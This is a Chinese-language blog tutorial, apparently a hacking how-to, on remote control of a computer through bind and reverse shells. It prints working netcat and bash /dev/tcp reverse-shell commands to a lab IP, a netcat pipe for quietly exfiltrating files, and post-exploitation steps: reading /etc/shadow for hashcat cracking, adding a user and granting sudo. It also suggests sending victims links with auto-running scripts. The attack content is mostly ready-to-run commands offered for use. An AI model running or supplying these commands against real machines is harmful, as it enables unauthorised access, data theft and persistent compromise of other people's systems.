黑客是如何远程控制一台电脑/服务器的?反弹shell了解一下!

相关阅读

很早之前写过一篇完整的Reverse shell的教程,你可以把Reverse译为反向或者反弹

视频讲解

原理讲解

其实,Reverse Shell(反弹/反向shell)顾名思义,就是让你要让目标电脑或者服务器主动向你的设备发送命令,连接你的设备已经建立好的通道,然后你在你的设备上就可以输入任意命令来操控目标电脑或者服务器了。

如果你还看不明白,咱们就说的再简单点

正常的发送命令,是你用客户端向服务器发命令(在下图的Normal shell部分)

而Reverse Shell (反弹/反向shell) 则是让服务器给你发命令,然后让你控制

图片[1]-黑客是如何远程控制一台电脑/服务器的?反弹shell了解一下!-FancyPig's blog

那具体怎么实现的呢?

你可以通过投递链接自动执行的脚本,让用户获取打开之后接受控制

(具体可以参考我们之前在猪猪粉丝群里推荐过多次的PayloadALLTheThings中的Reverse Shell部分

具体代码示例

常见的正向、反向、bash等shell的方法总结

正向shell

服务器建立通道,攻击机连接,服务器主动被控

服务器

nc -l -p 6996 -e /bin/bash

客户端(我们的电脑)

nc 192.168.137.131 6996

输入

whoami

这里会惊奇的发现,whoami提示的是另一台机器的root账户了,这里说明shell已经连接成功了。

image-20210205025930872.png

输入

ip a

这里可以看到实际上我已经是在服务器的系统里了

image-20210205030106419.png

反弹shell

客户端(我们的电脑)

nc -lvvp 8888
image-20210205041729506.png

服务器

nc -e /bin/bash 192.168.137.128 8888
image-20210205034639050.png

然后使用我们的电脑,就可以输入命令咯,返回服务器中的信息!

image-20210205041758213.png

bash反弹shell

客户端(我们的电脑)

nc -lvvp 8888

服务器

bash -i >& /dev/tcp/192.168.137.128/8888 0>&1

紧接着发现,已经切到kali这边了,可以输入命令行了

文件传输

可以通过该种方式将我们目标服务器的资料悄悄传输走!

为了验证,文件成功传输,这里先用电脑检验本地无test.txt文件

cat test.txt
image-20210205031438893.png

然后使用客户端(我们的电脑)输入

nc -l -p 8888> test.txt
image-20210205031845456.png

然后服务器输入

cat 'test.txt' | nc 192.168.137.128 8888

发现换行了,连接中断了,这里再用客户端(我们的电脑)输入

image-20210205031918859.png

发现文件已经从服务器传过来了。

总结

其实,shell连上之后,更重要的是学会如何操作Linux、DOS命令行。

例如:

  • 获取系统账户信息(cat /etc/shadow

拿到账户名和加密的密码后,使用我们之前讲的hashcat可以进行破解

  • 添加用户(useradd -m 用户名
  • 提升用户权限(usermod -G sudo 用户名

© 版权声明
THE END
喜欢就支持一下吧
点赞27赞赏 分享
评论 共7条

请登录后发表评论